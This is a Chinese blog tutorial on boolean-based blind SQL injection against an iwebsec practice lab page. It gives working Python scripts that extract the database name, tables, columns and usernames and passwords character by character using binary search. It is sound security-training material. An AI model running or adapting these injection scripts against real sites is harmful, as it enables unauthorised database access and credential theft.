SQL注入漏洞 | bool型

文章目录

前言


MySQL bool型


  1. 随便试试看回显
    在这里插入图片描述

    在这里插入图片描述

  2. bool注入原理

    我们可以利用回显内容来猜测数据库的内容和信息。
    比如,我们猜测数据库名的长度,length(database())=3。如果数据库名长度真的是3,则length(database())=3这个表达式是真的,则为1;如果数据库名长度不为3,则length(database())=3这个表达式是假的,则为0。因此我们只需要看数据库的回显反应即可,如果回显了,说明我们猜对了,如果不回显则说明我们猜错了。

    在这里插入图片描述
    一个个试,到7就回显了,说明我们猜数据库长度为7是对的。
    在这里插入图片描述

  3. 一个个试太麻烦,我们可以编写脚本帮我们做重复性的东西。

    import requests
    
    url = "http://8.134.148.36:8001/sqli/03.php"
    
    
    def DBlen():
        for i in range(20):
            payload = url + "?id=1 and length(database())={}".format(i)
            response = requests.get(url=payload)
            if "welcome to iwebsec!!!" in response.text:
                print("数据名长度为", i)
    
    DBlen()
    

    在这里插入图片描述

  4. MID() 函数

    用于从文本字段中提取字符。
    在这里插入图片描述

    ord() 函数

    以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值。
    在这里插入图片描述

  5. 我们继续猜数据库名,一位位地猜。猜数据名的第1位为a,将a转成ASCII码为97,则ord(mid((select database()),1,1))=97
    在这里插入图片描述

    继续猜 ord(mid((select database()),1,1))=105
    在这里插入图片描述
    第一位猜出来了,接着猜第二位是啥。人工试太慢了,我们继续写脚本。

    # 利用二分法
    def DBname():
        result = ""
        for i in range(20):
            l = 32
            r = 130
            mid = (l + r) >> 1
            while (l < r):
                payload = url + "?id=1 and ord(mid((select database()),{},1))>{}".format(i, mid)
                response = requests.get(url=payload)
                if "welcome to iwebsec!!!" in response.text:
                    l = mid + 1
                else:
                    r = mid
                mid = (l + r) >> 1
            result = result + chr(mid)
            print("数据库名为", result)
    

    在这里插入图片描述

  6. 接下来猜iwebsec数据库的表名。
    ord(mid((select database()),1,1))=97中的database换成表名group_concat(table_name) from information_schema.tables where table_schema=database()
    即为ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=95
    在这里插入图片描述
    猜出一位
    在这里插入图片描述
    还是继续用脚本吧

    def DBtable():
        result = ""
        for i in range(30):
            l = 32
            r = 130
            mid = (l + r) >> 1
            while (l < r):
                payload = url + "?id=1 and ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}".format(
                    i, mid)
                response = requests.get(url=payload)
                if "welcome to iwebsec!!!" in response.text:
                    l = mid + 1
                else:
                    r = mid
                mid = (l + r) >> 1
            result = result + chr(mid)
            print("数据库名的表名为", result)
           
    

    在这里插入图片描述

  7. 继续测列名。
    ord(mid((select database()),1,1))=97中的database换成列名group_concat(column_name) from information_schema.columns where table_name=user
    即为ord(mid((select group_concat(column_name) from information_schema.columns where table_name='user'),1,1))=97

    在这里插入图片描述
    继续上脚本

    def DBcolumn():
        result = ""
        for i in range(30):
            l = 32
            r = 130
            mid = (l + r) >> 1
            while (l < r):
                payload = url + "?id=1 and ord(mid((select group_concat(column_name) from information_schema.columns where table_name='user'),{},1))>{}".format(
                    i, mid)
                response = requests.get(url=payload)
                if "welcome to iwebsec!!!" in response.text:
                    l = mid + 1
                else:
                    r = mid
                mid = (l + r) >> 1
            result = result + chr(mid)
            print("数据库名的表的列为", result)
    

    在这里插入图片描述

  8. 最后猜一下每个列的值
    ord(mid((select database()),1,1))=97中的database换成字段group_concat(id,'--',username,'--',password,'--') from user
    即为 ord(mid((select group_concat(id,'--',username,'--',password,'--') from user),1,1))=97
    在这里插入图片描述
    继续上脚本

    def Getdata():
        result = ""
        for i in range(100):
            l = 32
            r = 130
            mid = (l + r) >> 1
            while (l < r):
                payload = url + "?id=1 and ord(mid((select group_concat(id,'--',username,'--',password,'--') from user),{},1))>{}".format(i, mid)
                response = requests.get(url=payload)
                if "welcome to iwebsec!!!" in response.text:
                    l = mid + 1
                else:
                    r = mid
                mid = (l + r) >> 1
            result = result + chr(mid)
            print("数据库名的表的列为", result)
    

    在这里插入图片描述

  9. 总脚本

    https://pan.baidu.com/s/1VxBWd_vk4-faOv5J6PUVdA?pwd=xxxi 
    
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值